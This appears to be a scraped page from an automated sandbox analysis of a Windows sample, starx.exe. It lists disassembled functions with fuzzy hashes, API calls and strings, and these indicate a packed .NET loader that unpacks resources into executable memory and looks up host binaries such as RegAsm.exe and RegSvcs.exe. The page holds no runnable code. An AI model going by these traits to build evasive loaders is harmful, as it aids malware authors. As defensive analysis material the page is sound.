Source File: 00000002.00000002.1011106259.00000000024C0000.00000040.00000001.sdmp, Offset: 024C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24c0000_starx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74930e29e5015b40aad7cde34621a4ba3318e1e943f8af89338680bd058d7a79
Instruction ID: a63ef5c5a77b4c36324e1d0884b0e3a0f81065c16919beca482f0b687d61ccab
Opcode Fuzzy Hash: 74930e29e5015b40aad7cde34621a4ba3318e1e943f8af89338680bd058d7a79
Instruction Fuzzy Hash: 3E12A2B0D0574A8FE310CF66F9482893BA1F78571AF518318D2612F6E6D7BE198ACF44

Uniqueness

Uniqueness Score: -1.00%

Function 059D6C70, Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2f65edf1e9d676a3e3df4178a9468ab2b5a79ac0e8eaee9a280224c64d262f2
Instruction ID: 4cc0ea0bf40f82ab321bacf0737826191e282b0e8fd25152f70caf1fe6e6098c
Opcode Fuzzy Hash: f2f65edf1e9d676a3e3df4178a9468ab2b5a79ac0e8eaee9a280224c64d262f2
Instruction Fuzzy Hash: DCB15970E006198FDB10CFA9D8857EEFBF6BF88344F14C529E815A7294DB749846CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 059D7540, Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d19939974e9dfde1f442858e9963c6b5f93ffb76b596348789756fc542e8e42
Instruction ID: 186008dc279c8d2a527bb3a272e91fb894014453681129568d853a31db9a1a4d
Opcode Fuzzy Hash: 8d19939974e9dfde1f442858e9963c6b5f93ffb76b596348789756fc542e8e42
Instruction Fuzzy Hash: 83B13770E042098BDB10CFE9D8857EDFBF6FB88354F14C529D819A7294EB749845CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 059D6928, Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d720fc235e1d9f58e16f0cbe527bf2b1b9433c85c9c258f1f5e2bdb52700238
Instruction ID: f2e738c8094a19c395ed1ddfa7176cda1e491dbc727ef0c0524e9d93e8b4b1e8
Opcode Fuzzy Hash: 7d720fc235e1d9f58e16f0cbe527bf2b1b9433c85c9c258f1f5e2bdb52700238
Instruction Fuzzy Hash: 6B915C71E042099FDB10CFA9C9847EEFBF6BF88304F24C529D415A7254DB789846CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 024C35C4, Relevance: .2, Instructions: 233COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1011106259.00000000024C0000.00000040.00000001.sdmp, Offset: 024C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24c0000_starx.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: a7c3138e27a5379b7d5e8fb26e5d5082a2d4ef1232fce2f2f604c893cc389204
Instruction ID: 0616d5c8f9e19e6b811c1aad17bb11b10aae9b65267ea8f9e6ec0bb01d09be7f
Opcode Fuzzy Hash: a7c3138e27a5379b7d5e8fb26e5d5082a2d4ef1232fce2f2f604c893cc389204
Instruction Fuzzy Hash: 86919275E003198FDB00DBA5D8549DEBBB6FF89304F65821AE516BF3A0DB30A941CB50

Uniqueness

Uniqueness Score: -1.00%

Function 024C5370, Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1011106259.00000000024C0000.00000040.00000001.sdmp, Offset: 024C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24c0000_starx.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: bfeaaa487dd6c1b1b05f8d491592da4504747d336facb5c7554019bce0cbbd69
Instruction ID: 034a6a0ad279207f091744013922ac6cb5169dae77f2247d5ad0498a283033cc
Opcode Fuzzy Hash: bfeaaa487dd6c1b1b05f8d491592da4504747d336facb5c7554019bce0cbbd69
Instruction Fuzzy Hash: 2681A375E043098FDB05DBB0D9409DDBBB6FF8A304F65825AE506BF2A0EB30A845CB50

Uniqueness

Uniqueness Score: -1.00%

Function 024C35B8, Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1011106259.00000000024C0000.00000040.00000001.sdmp, Offset: 024C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24c0000_starx.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: ce0d745a65413703cfac5b99745ec75229cddb45af9a04abfd6cb08224c2dbd0
Instruction ID: d9401cb714c6d10bf32b862157670886ebddd3897c1da76de3c9eb872633a149
Opcode Fuzzy Hash: ce0d745a65413703cfac5b99745ec75229cddb45af9a04abfd6cb08224c2dbd0
Instruction Fuzzy Hash: 84818335E003199FCB04DFA5D8549DEB7BAFF89304F65821AE516BF264EB30A941CB50

Uniqueness

Uniqueness Score: -1.00%

Function 004434F3, Relevance: 31.6, APIs: 3, Strings: 15, Instructions: 81
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00443599
LoadLibraryW.KERNEL32(?), ref: 004435F1
LoadLibraryW.KERNEL32(004462D4), ref: 004435FA

Strings

sxs.dll, xrefs: 00443519
iphlpapi.dll, xrefs: 0044352E
mscorrc.dll, xrefs: 00443574
Culture.dll, xrefs: 00443566
mscorsec.dll, xrefs: 00443558
mscoree.dll, xrefs: 00443551
Gdiplus.dll, xrefs: 0044353C
user32.dll, xrefs: 00443527
advapi32.dll, xrefs: 00443535
diasymreader.dll, xrefs: 0044354A
ole32.dll, xrefs: 00443543
mscordacwks.dll, xrefs: 0044355F
mscorwks.dll, xrefs: 00443512
mscorjit.dll, xrefs: 0044356D
shfolder.dll, xrefs: 00443520

Memory Dump Source

Source File: 00000002.00000002.1009349015.000000000043D000.00000040.00000001.sdmp, Offset: 0043D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_43d000_starx.jbxd

Similarity

API ID: LibraryLoad$_memset
String ID: Culture.dll$Gdiplus.dll$advapi32.dll$diasymreader.dll$iphlpapi.dll$mscordacwks.dll$mscoree.dll$mscorjit.dll$mscorrc.dll$mscorsec.dll$mscorwks.dll$ole32.dll$shfolder.dll$sxs.dll$user32.dll
API String ID: 240438931-1803115895
Opcode ID: 67207a4acd7ee44246be11790712459336aa9250a79b91bab307d0672e456148
Instruction ID: 3a5597ee338a772c5accd39be1cba4925d6473433bc8e12f457eb70ed6ae4d53
Opcode Fuzzy Hash: 67207a4acd7ee44246be11790712459336aa9250a79b91bab307d0672e456148
Instruction Fuzzy Hash: 90315AB1800219EBDF10DF98D9485EEBBB4EF46719F11845AE406BB204D3B89B49CF9D

Uniqueness

Uniqueness Score: -1.00%

Function 004447C7, Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 187
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00444039: GetModuleHandleW.KERNEL32(00000000), ref: 00444042
Part of subcall function 00444039: FindResourceW.KERNEL32(00000000,000003E8,0000000A), ref: 00444056
Part of subcall function 00444039: SizeofResource.KERNEL32(00000000,00000000), ref: 00444064
Part of subcall function 00444039: VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 0044407B
Part of subcall function 00444039: LoadResource.KERNEL32(00000000,00000000), ref: 00444085

Part of subcall function 00443ED9: VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 00443F04

GetModuleHandleA.KERNEL32(00000000), ref: 00444848
VirtualProtect.KERNEL32(00000000,00001000,00000004,?), ref: 00444868

Part of subcall function 00443F82: VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 00443FAD

_memset.LIBCMT ref: 0044489F

Part of subcall function 00443834: _memset.LIBCMT ref: 00443869

_memset.LIBCMT ref: 004448F7
PathFileExistsW.SHLWAPI(?), ref: 00444919
_memset.LIBCMT ref: 00444945
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0044497B
GetFileSize.KERNEL32(00000000,00000000), ref: 0044499D
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\starx.exe,00000104), ref: 004449DA
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\starx.exe,00000104), ref: 004449E7
CloseHandle.KERNEL32 ref: 00444A54

Strings

C:\Users\user\Desktop\starx.exe, xrefs: 004449CF
C:\Users\user\Desktop\starx.exe, xrefs: 004449E1

Memory Dump Source

Source File: 00000002.00000002.1009349015.000000000043D000.00000040.00000001.sdmp, Offset: 0043D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_43d000_starx.jbxd

Similarity

API ID: File$ModuleVirtual_memset$AllocHandleResource$Name$CloseCreateExistsFindLoadPathProtectSizeSizeof
String ID: C:\Users\user\Desktop\starx.exe$C:\Users\user\Desktop\starx.exe
API String ID: 3419322617-2126135152
Opcode ID: d8f0f76311271557d4e8e5a56bc78260e17dd13847f73d570ea57b9ef98a206b
Instruction ID: 0f7e0d1f2f2ebefd696345f73072d1474286785f3473bd7c935d8a7c50290e80
Opcode Fuzzy Hash: d8f0f76311271557d4e8e5a56bc78260e17dd13847f73d570ea57b9ef98a206b
Instruction Fuzzy Hash: E561CF35A41218AFEF20AFA5ED85BAB37E8AB05305F14047BE215E2251DB785E44CB5C

Uniqueness

Uniqueness Score: -1.00%

Function 00443B12, Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 165
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(?,?,?,?,?,?,?), ref: 00443B32
_memset.LIBCMT ref: 00443B98

Strings

C:\Users\user\Desktop\starx.exe, xrefs: 00443B4E
mscoreei.dll, xrefs: 00443C5C
clr.dll, xrefs: 00443C25
WINTRUST.dll, xrefs: 00443BAF
mscorwks.dll, xrefs: 00443C93
mscoree.dll, xrefs: 00443BEA

Memory Dump Source

Source File: 00000002.00000002.1009349015.000000000043D000.00000040.00000001.sdmp, Offset: 0043D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_43d000_starx.jbxd

Similarity

API ID: CreateFile_memset
String ID: C:\Users\user\Desktop\starx.exe$WINTRUST.dll$clr.dll$mscoree.dll$mscoreei.dll$mscorwks.dll
API String ID: 3830271748-2513984517
Opcode ID: 5aea5cabd1ea494e1d2f30363040f0fe473a0d496d6fcbbcdaa7907be4935aba
Instruction ID: d9f3b07101ca700a338864d609f3fefa68c44e115b5dd6c3f0bc37e291a24731
Opcode Fuzzy Hash: 5aea5cabd1ea494e1d2f30363040f0fe473a0d496d6fcbbcdaa7907be4935aba
Instruction Fuzzy Hash: 5151C41221011296FF20AF24CC81AF73262EF30F96B544566D845DB359F72BDF82C758

Uniqueness

Uniqueness Score: -1.00%

Function 004436F4, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 110
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000002,Software\Microsoft\.NETFramework,00000000,00020019,?), ref: 0044371D
_memset.LIBCMT ref: 00443744
RegQueryValueExW.KERNEL32(?,InstallRoot,00000000,?,?,?), ref: 0044376D
_memset.LIBCMT ref: 0044378B
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,0044A000,000000FF,?,00000104), ref: 004437A9
RegCloseKey.KERNEL32(00000000), ref: 00443829

Strings

InstallRoot, xrefs: 0044375D
Software\Microsoft\.NETFramework, xrefs: 0044370D

Memory Dump Source

Source File: 00000002.00000002.1009349015.000000000043D000.00000040.00000001.sdmp, Offset: 0043D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_43d000_starx.jbxd

Similarity

API ID: _memset$ByteCharCloseMultiOpenQueryValueWide
String ID: InstallRoot$Software\Microsoft\.NETFramework
API String ID: 3047945766-4217373442
Opcode ID: c98935b97fe2d1060d907cd334c079acb74cdfc7f624b0edb8bfb8f3937f45cc
Instruction ID: 510a74fe024befc02972dac0dc27a70f5b2104e65e8eac7441753fefd996842b
Opcode Fuzzy Hash: c98935b97fe2d1060d907cd334c079acb74cdfc7f624b0edb8bfb8f3937f45cc
Instruction Fuzzy Hash: C531D0B6A00219ABEF209F949C45BEFB6F8EF44B14F1041A6F905E3251E7745F40CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0044360E, Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 79
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00443660
PathFileExistsW.SHLWAPI(?), ref: 004436B8

Strings

RegSvcs.exe, xrefs: 00443643
jsc.exe, xrefs: 00443627
RegAsm.exe, xrefs: 0044362E
dfsvc.exe, xrefs: 00443635
CasPol.exe, xrefs: 0044363C

Memory Dump Source

Source File: 00000002.00000002.1009349015.000000000043D000.00000040.00000001.sdmp, Offset: 0043D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_43d000_starx.jbxd

Similarity

API ID: ExistsFilePath_memset
String ID: CasPol.exe$RegAsm.exe$RegSvcs.exe$dfsvc.exe$jsc.exe
API String ID: 4214796376-2149642370
Opcode ID: 69949528fe3e4007f8bcca817740c08cd5b7161e7f0c577e5ee51e0f38d13e18
Instruction ID: aa5cabc404203a4eafa2c79b942d16a20d35a46df53f99eec62aae9a0242f471
Opcode Fuzzy Hash: 69949528fe3e4007f8bcca817740c08cd5b7161e7f0c577e5ee51e0f38d13e18
Instruction Fuzzy Hash: F121B23190020AAADF20DFA8D8986BF73B8FF45749F0140A6E847D7301E7748F458B98

Uniqueness

Uniqueness Score: -1.00%

Function 004441BE, Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 133
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 004441FD

Part of subcall function 0044389E: GetCurrentProcess.KERNEL32 ref: 004438AB
Part of subcall function 0044389E: EnumProcessModules.PSAPI(00000000,?,00001000,?), ref: 004438C5
Part of subcall function 0044389E: GetModuleInformation.PSAPI(?,?,00000000,0000000C,?,?,?,00000000,?,00001000,?), ref: 004438FD
Part of subcall function 0044389E: GetModuleBaseNameW.PSAPI(?,?,?,00000104,?,?,00000000,0000000C,?,?,?,00000000,?,00001000,?), ref: 00443929

Strings

mscoreei.dll, xrefs: 004442C7
CRYPT32.dll, xrefs: 00444253
clr.dll, xrefs: 0044428F
mscoree.dll, xrefs: 004442FF
imagehlp.dll, xrefs: 00444216

Memory Dump Source

Source File: 00000002.00000002.1009349015.000000000043D000.00000040.00000001.sdmp, Offset: 0043D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_43d000_starx.jbxd

Similarity

API ID: ModuleProcess$BaseCurrentEnumInformationModulesName_memset
String ID: CRYPT32.dll$clr.dll$imagehlp.dll$mscoree.dll$mscoreei.dll
API String ID: 1620000358-1444991907
Opcode ID: f87945901359cb7411eee88c6876cd063eb6f23d186f4a6941aa6806480cb2da
Instruction ID: ff8978445e9f4ba9d69b0c9be783ca1bb2000c88ae1a3f89227c2f6e112db486
Opcode Fuzzy Hash: f87945901359cb7411eee88c6876cd063eb6f23d186f4a6941aa6806480cb2da
Instruction Fuzzy Hash: BF41821161012295FB60AF34CC02BF77266AF75FE4B8446A6EC55C7298F76BCE82C258

Uniqueness

Uniqueness Score: -1.00%

Function 024C691F, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 024C69A0
GetCurrentThread.KERNEL32 ref: 024C69DD
GetCurrentProcess.KERNEL32 ref: 024C6A1A
GetCurrentThreadId.KERNEL32 ref: 024C6A73

Strings

d, xrefs: 024C6922
p+}, xrefs: 024C6A9F

Memory Dump Source

Source File: 00000002.00000002.1011106259.00000000024C0000.00000040.00000001.sdmp, Offset: 024C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24c0000_starx.jbxd

Similarity

API ID: Current$ProcessThread
String ID: d$p+}
API String ID: 2063062207-2314569281
Opcode ID: ad6b3b7919d5563bc53cc0552fce3ecee422e709fc5947f01a667bdb438e76ff
Instruction ID: 7ee2272bce1b8920f32d0023430c42505c7a24a439adf1c4fd7b96631c0c3d0d
Opcode Fuzzy Hash: ad6b3b7919d5563bc53cc0552fce3ecee422e709fc5947f01a667bdb438e76ff
Instruction Fuzzy Hash: F151A6B09006498FDB14CFA9D548BEEBFF4BF89304F24846EE419A7390CB789844CB25

Uniqueness

Uniqueness Score: -1.00%

Function 00443D94, Relevance: 10.6, APIs: 7, Instructions: 74
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 00443D9D

Part of subcall function 0043D04F: __FF_MSGBANNER.LIBCMT ref: 0043D072
Part of subcall function 0043D04F: __NMSG_WRITE.LIBCMT ref: 0043D079
Part of subcall function 0043D04F: RtlAllocateHeap.NTDLL(00000000,?), ref: 0043D0C6

VirtualProtect.KERNEL32(00000000,?,00000040,00000000), ref: 00443DB4
VirtualProtect.KERNEL32(?,?,00000040,00000000), ref: 00443DC2
_memset.LIBCMT ref: 00443E03
VirtualProtect.KERNEL32(?,?,00000000,00000000), ref: 00443E14
GetCurrentProcess.KERNEL32(?,?,?,?,00000000,00000000), ref: 00443E1C
FlushInstructionCache.KERNEL32(00000000,?,?,?,?,00000000,00000000), ref: 00443E23

Memory Dump Source

Source File: 00000002.00000002.1009349015.000000000043D000.00000040.00000001.sdmp, Offset: 0043D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_43d000_starx.jbxd

Similarity

API ID: ProtectVirtual$AllocateCacheCurrentFlushHeapInstructionProcess_malloc_memset
String ID:
API String ID: 851286602-0
Opcode ID: 1574938fe6f3cb971a174e3f95aa75c70232700e0ab2a8b015df41a28c70cff3
Instruction ID: d367fa4570b8e1ddb61eb60b4babf6fe7972fc3e50e2e93dafa9981404f73f20
Opcode Fuzzy Hash: 1574938fe6f3cb971a174e3f95aa75c70232700e0ab2a8b015df41a28c70cff3
Instruction Fuzzy Hash: DB21B6B6900204AFDB10CFA4DD89DAE7BBCEB56740B01417AF606CA292D734D604CB68

Uniqueness

Uniqueness Score: -1.00%

Function 00444039, Relevance: 9.1, APIs: 6, Instructions: 54
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 00444042
FindResourceW.KERNEL32(00000000,000003E8,0000000A), ref: 00444056
SizeofResource.KERNEL32(00000000,00000000), ref: 00444064
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 0044407B
LoadResource.KERNEL32(00000000,00000000), ref: 00444085
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 004440AC

Memory Dump Source

Source File: 00000002.00000002.1009349015.000000000043D000.00000040.00000001.sdmp, Offset: 0043D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_43d000_starx.jbxd

Similarity

API ID: Resource$Virtual$AllocFindFreeHandleLoadModuleSizeof
String ID:
API String ID: 3588284000-0
Opcode ID: 0cce930bd8a61af9f717534631c098ae97765655ae194d8f7b8fe08df6473f0e
Instruction ID: 4f1ecfd51c01300b7b741eb1a3e92248084b6c71ebf7c2427649a98654749bee
Opcode Fuzzy Hash: 0cce930bd8a61af9f717534631c098ae97765655ae194d8f7b8fe08df6473f0e
Instruction Fuzzy Hash: D001A7797407107BF7312BA55C4AF2B76ACAB86B46F100035FB01E52C1DA64CD1041BE

Uniqueness

Uniqueness Score: -1.00%

Function 024C6940, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 024C69A0
GetCurrentThread.KERNEL32 ref: 024C69DD
GetCurrentProcess.KERNEL32 ref: 024C6A1A
GetCurrentThreadId.KERNEL32 ref: 024C6A73

Strings

p+}, xrefs: 024C6A9F

Memory Dump Source

Source File: 00000002.00000002.1011106259.00000000024C0000.00000040.00000001.sdmp, Offset: 024C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24c0000_starx.jbxd

Similarity

API ID: Current$ProcessThread
String ID: p+}
API String ID: 2063062207-4084482474
Opcode ID: 926330beff0f98e2e207b7c502080f442e4972caa4b999607b9ce7464541a12d
Instruction ID: a03a5ddb84fcd9103fac7c49d4d422f28dda7b3ae467beeccfdf58a0d1f02a84
Opcode Fuzzy Hash: 926330beff0f98e2e207b7c502080f442e4972caa4b999607b9ce7464541a12d
Instruction Fuzzy Hash: 275164B49006098FDB14CFAAD548BDEBBF5BF88304F20846AE419A7350DB75A844CF65

Uniqueness

Uniqueness Score: -1.00%

Function 00483F50, Relevance: 7.7, APIs: 5, Instructions: 158
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(?), ref: 0048405F
GetProcAddress.KERNEL32(?,00481FF9), ref: 00484074
ExitProcess.KERNEL32(?,00481FF9), ref: 00484085
VirtualProtect.KERNEL32(00400000,00001000,00000004,?,-00000002), ref: 004840A2
VirtualProtect.KERNEL32(00400000,00001000), ref: 004840B7

Memory Dump Source

Source File: 00000002.00000002.1009426141.0000000000482000.00000040.00000001.sdmp, Offset: 00482000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_482000_starx.jbxd

Similarity

API ID: ProtectVirtual$AddressExitLibraryLoadProcProcess
String ID:
API String ID: 1996367037-0
Opcode ID: 1a2ec4039ffa3cf96cb152fd535ce5fc3d3097d7df60e15054ada431f6234463
Instruction ID: 248aca7f2ec7d2c568903e6afa726dfe8d7431fe6f387ddce48315f8c5f170cc
Opcode Fuzzy Hash: 1a2ec4039ffa3cf96cb152fd535ce5fc3d3097d7df60e15054ada431f6234463
Instruction Fuzzy Hash: 74412671E047124BC7206DB89CC066A77A0EB527367180B3ADBE2C73C6E798590987A8

Uniqueness

Uniqueness Score: -1.00%

Function 004443B2, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 004443D2

Part of subcall function 0044389E: GetCurrentProcess.KERNEL32 ref: 004438AB
Part of subcall function 0044389E: EnumProcessModules.PSAPI(00000000,?,00001000,?), ref: 004438C5
Part of subcall function 0044389E: GetModuleInformation.PSAPI(?,?,00000000,0000000C,?,?,?,00000000,?,00001000,?), ref: 004438FD
Part of subcall function 0044389E: GetModuleBaseNameW.PSAPI(?,?,?,00000104,?,?,00000000,0000000C,?,?,?,00000000,?,00001000,?), ref: 00443929

LoadLibraryExW.KERNEL32(?,?,?), ref: 004443F2
StrStrIW.SHLWAPI(?,\system.ni.dll), ref: 00444402

Part of subcall function 004440F0: CloseHandle.KERNEL32 ref: 004440FA

Strings

\system.ni.dll, xrefs: 004443F8

Memory Dump Source

Source File: 00000002.00000002.1009349015.000000000043D000.00000040.00000001.sdmp, Offset: 0043D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_43d000_starx.jbxd

Similarity

API ID: ModuleProcess$BaseCloseCurrentEnumHandleInformationLibraryLoadModulesName_memset
String ID: \system.ni.dll
API String ID: 2189784845-482435895
Opcode ID: b96daa7f55f4356b1b6ac359a71ef35879d8a35fb3f6b61ba56806cf22f9ad65
Instruction ID: b9721e5e32d85f8fe738be80d667810e10666b0ef56e3156910d4fe3419f7875
Opcode Fuzzy Hash: b96daa7f55f4356b1b6ac359a71ef35879d8a35fb3f6b61ba56806cf22f9ad65
Instruction Fuzzy Hash: 1FF0E235900218BBEF00AFA4CC0DF8B3BACAF04341F004076BA14D6122EA34CA608BA8

Uniqueness

Uniqueness Score: -1.00%

Function 059DC5BF, Relevance: 6.6, APIs: 4, Instructions: 588
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 059DC66D
KiUserExceptionDispatcher.NTDLL ref: 059DCD52
KiUserExceptionDispatcher.NTDLL ref: 059DCF9D
LdrInitializeThunk.NTDLL ref: 059DD08B

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID: DispatcherExceptionUser$InitializeThunk
String ID:
API String ID: 2638914809-0
Opcode ID: 548d9d74023d21b0592164ac96386cd47557d42f0dc3322b5e576df4f777d491
Instruction ID: 26db84a2a5d7f66dce9771c9444edbabb2bf2897d02d8d66d07163802995bd29
Opcode Fuzzy Hash: 548d9d74023d21b0592164ac96386cd47557d42f0dc3322b5e576df4f777d491
Instruction Fuzzy Hash: ED521374A04228DFDB65DF60D95879CBBBABF88205F1085E9DA0AA3350CF359E81CF15

Uniqueness

Uniqueness Score: -1.00%

Function 059DC604, Relevance: 6.6, APIs: 4, Instructions: 581libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 059DC66D
KiUserExceptionDispatcher.NTDLL ref: 059DCD52
KiUserExceptionDispatcher.NTDLL ref: 059DCF9D
LdrInitializeThunk.NTDLL ref: 059DD08B

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID: DispatcherExceptionUser$InitializeThunk
String ID:
API String ID: 2638914809-0
Opcode ID: f7c32a3c6e52eff2ad6e0c2361a030ec2db8eb9eb2f8aeb4ebbb45907f522996
Instruction ID: d8182fd9a51eb8de5f381116a19f1ec513a2e07e4886f7c7ccc9c6de5229cfbc
Opcode Fuzzy Hash: f7c32a3c6e52eff2ad6e0c2361a030ec2db8eb9eb2f8aeb4ebbb45907f522996
Instruction Fuzzy Hash: 18521374A04228DFDB65DF60D95879CBBBABF88205F1085E9DA0AA3350CF749E81CF15

Uniqueness

Uniqueness Score: -1.00%

Function 059DC649, Relevance: 6.6, APIs: 4, Instructions: 574libraryCOMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 059DC66D
KiUserExceptionDispatcher.NTDLL ref: 059DCD52
KiUserExceptionDispatcher.NTDLL ref: 059DCF9D
LdrInitializeThunk.NTDLL ref: 059DD08B

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID: DispatcherExceptionUser$InitializeThunk
String ID:
API String ID: 2638914809-0
Opcode ID: 7bc1a37e0651b35f153248334ed3463007384a4516dab3f97eaa4d79e9d44089
Instruction ID: 212d2d366b7658b6696b23afbea5e56eb4617276f22feab4144f355f93f9e289
Opcode Fuzzy Hash: 7bc1a37e0651b35f153248334ed3463007384a4516dab3f97eaa4d79e9d44089
Instruction Fuzzy Hash: AD421374A04228DFDB65DF60D95879CBBBABF88205F1085E9DA0AA3350CF749E81CF15

Uniqueness

Uniqueness Score: -1.00%

Function 0044389E, Relevance: 6.1, APIs: 4, Instructions: 71COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 004438AB
EnumProcessModules.PSAPI(00000000,?,00001000,?), ref: 004438C5
GetModuleInformation.PSAPI(?,?,00000000,0000000C,?,?,?,00000000,?,00001000,?), ref: 004438FD
GetModuleBaseNameW.PSAPI(?,?,?,00000104,?,?,00000000,0000000C,?,?,?,00000000,?,00001000,?), ref: 00443929

Memory Dump Source

Source File: 00000002.00000002.1009349015.000000000043D000.00000040.00000001.sdmp, Offset: 0043D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_43d000_starx.jbxd

Similarity

API ID: ModuleProcess$BaseCurrentEnumInformationModulesName
String ID:
API String ID: 3431743260-0
Opcode ID: 7ed55397fc8b3f8a92c62f12c03d38eaca5456818af34766b87672863b6c977a
Instruction ID: e0981e6dbb744b25eef5ff997d328994195978676eae2d3d044a9a3a2741579d
Opcode Fuzzy Hash: 7ed55397fc8b3f8a92c62f12c03d38eaca5456818af34766b87672863b6c977a
Instruction Fuzzy Hash: 2021D5B554020AABEF10DF94C9819EFB7B9EF08746F104167F541E2190EBB49F41CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0044346C, Relevance: 6.0, APIs: 4, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,00000040,00000000), ref: 00443493
